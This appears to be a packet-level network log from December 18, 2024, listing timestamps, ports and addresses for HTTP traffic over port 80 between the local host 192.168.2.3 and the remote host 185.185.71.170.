Dec 18, 2024 20:56:27.392390966 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.392590046 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.392600060 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.393450022 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.393650055 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.393680096 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.393691063 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.394665956 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.394676924 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.394685984 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.394726992 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.394830942 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.394927025 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395081997 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395101070 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395185947 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395195961 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395273924 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395334959 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395502090 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395512104 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395620108 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395629883 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395765066 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395818949 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395889044 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.395951986 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.396006107 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.396151066 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.396161079 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.396295071 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.396305084 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.396512032 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.397655010 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.488295078 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.488316059 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.488374949 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.488388062 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.488477945 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.488570929 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.488583088 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.488631010 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.488795042 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.488812923 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489240885 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489259005 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489267111 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489274025 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489418983 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489432096 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489444017 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489527941 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489540100 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489551067 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489752054 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489958048 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489970922 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.489991903 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.490080118 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.490092039 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.490223885 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.490235090 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.490246058 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.490262985 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.490776062 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:27.490787029 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:29.529022932 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:29.529649019 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:29.650011063 CET	80	49736	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:29.650089025 CET	49736	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:29.734572887 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:29.854116917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:29.854202032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:29.854513884 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:29.974208117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.397138119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.397172928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.397258043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.397279024 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.397433996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.397447109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.397475004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.397728920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.397741079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.397774935 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.398216009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.398227930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.398240089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.398262978 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.398273945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.516848087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.516947031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.517143965 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.521150112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.521779060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.521828890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.589489937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.589742899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.589791059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.593857050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.594089031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.594137907 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.601949930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.605079889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.605137110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.608021975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.613333941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.613387108 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.614881039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.621720076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.621774912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.621952057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.630065918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.630136013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.630171061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.638544083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.638556957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.638596058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.646955013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.647006035 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.647484064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.655301094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.655468941 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.655806065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.663608074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.663666010 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.663849115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.671065092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.671123028 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.671518087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.678503990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.678555965 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.790545940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.790775061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.790842056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.793309927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.793395996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.793441057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.797928095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.798048019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.798094988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.802737951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.802845955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.802889109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.807538986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.807835102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.807893038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.812252998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.812668085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.812711954 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.816898108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.816983938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.817029953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.821404934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.821657896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.821706057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.826108932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.826317072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.826366901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.830638885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.830737114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.830775976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.835289955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.835652113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.835700989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.839788914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.840276003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.840368986 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.844420910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.844923973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.844970942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.849044085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.849992037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.850050926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.853631973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.853679895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.853750944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.858130932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.858302116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.858350992 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.862744093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.863495111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.863557100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.867326021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.867575884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.867628098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.871937990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.872747898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.872798920 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.876562119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.877953053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.878014088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.881120920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.881448030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.881501913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.973628044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.973675966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.973727942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.974762917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.974951982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.975002050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.978894949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.979136944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.979187012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.983062983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.983195066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.983244896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.987215996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.987246037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.987325907 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.991096973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.991359949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.991410971 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.994942904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.995584965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.995645046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:31.998769045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.999017000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:31.999125004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.002844095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.003062963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.003107071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.006160975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.006812096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.006854057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.009673119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.009783030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.009825945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.013061047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.013075113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.013144970 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.016302109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.016532898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.016601086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.019607067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.019747972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.019812107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.023017883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.023372889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.023469925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.026417971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.026505947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.026561975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.029834986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.029917002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.029980898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.033169031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.033615112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.033678055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.036516905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.037267923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.037389040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.039887905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.040003061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.040061951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.043287992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.044174910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.044275045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.046669006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.046829939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.046916008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.050180912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.050518036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.050592899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.053441048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.053457022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.053520918 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.056782961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.057044983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.057110071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.060127974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.060221910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.060282946 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.063514948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.063594103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.063657999 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.066916943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.118733883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.177812099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.177885056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.177925110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.179037094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.179394007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.179440975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.179553986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.181885004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.181951046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.181998014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.184432030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.184459925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.184484959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.186798096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.186841965 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.186914921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.189322948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.189342976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.189377069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.191698074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.191764116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.191783905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.193979025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.194024086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.194117069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.196319103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.196374893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.196778059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.198664904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.198728085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.198782921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.201080084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.201149940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.201152086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.203377008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.203429937 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.203566074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.205770969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.205828905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.205887079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.208183050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.208245993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.208283901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.210470915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.210531950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.210573912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.212825060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.212887049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.213001966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.215209007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.215277910 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.215305090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.217628956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.217710018 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.217777014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.219948053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.220026016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.220063925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.222361088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.222428083 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.222598076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.224731922 CET	80	49747	185.185.71.170	192.168.2.3
